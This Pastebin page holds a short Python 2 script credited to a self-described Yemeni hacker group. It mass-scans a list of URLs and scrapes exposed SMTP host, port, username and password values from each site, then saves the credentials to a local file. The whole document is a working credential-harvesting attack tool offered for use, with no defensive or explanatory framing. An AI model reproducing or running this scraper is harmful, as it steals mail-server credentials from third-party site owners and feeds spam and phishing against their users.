Advertisement
Alarg53

SMTP

Oct 19th, 2017
699
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.17 KB | None | 0 0
  1.  
  2. #!/usr/bing/python
  3.  
  4. import urllib2, re , sys
  5. from multiprocessing import Pool
  6. from multiprocessing.dummy import Pool as ThreadPool
  7. # Coded By RxR HaCkEr
  8. # Yemen HaCkErS
  9.  
  10.  
  11. print "[+][~ {O_O} Mass Fucking STMP :D  By RxR HaCkEr ~]"
  12. def bypass(url):
  13.    
  14.    
  15.         try:
  16.  
  17.             url = url.strip()
  18.            
  19.             lib = urllib2.urlopen(url)
  20.                
  21.             text = lib.read()
  22.            
  23.             if 'public' in text:
  24.                 hoststmp = re.findall("smtphost = '(.*?)';",text)
  25.                 userstmp = re.findall("smtpuser = '(.*?)';",text)
  26.                 passstmp = re.findall("smtppass = '(.*?)';",text)
  27.                 portstmp = re.findall("smtpport = '(.*?)';",text)
  28.                 print '[#:]SMTP:'+'Host:'+hoststmp[0]+'|'+'Port:'+portstmp[0]+'|'+'User:'+userstmp[0]+'|'+'Password:'+passstmp[0]
  29.                 open('STMPS.txt', 'a').write(hoststmp[0]+'|'+portstmp[0]+'|'+userstmp[0]+'|'+passstmp[0]+'\n')
  30.                
  31.             else:
  32.                 print '[!]:There No SmTP'
  33.            
  34.         except:
  35.             pass
  36.            
  37.  
  38. def main():    
  39.    
  40.     for i in ListPass:
  41.         try:
  42.             data=bypass(i)
  43.         except:
  44.             pass
  45.        
  46. ListPass = open(sys.argv[1], 'r').readlines()      
  47. pool = ThreadPool(10)
  48. pool.map(bypass, ListPass)
  49. pool.close()
  50. pool.join()
  51.  
  52. if __name__ == '__main__':     
  53.     print("Finished,  saved to : STMPS.txt")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement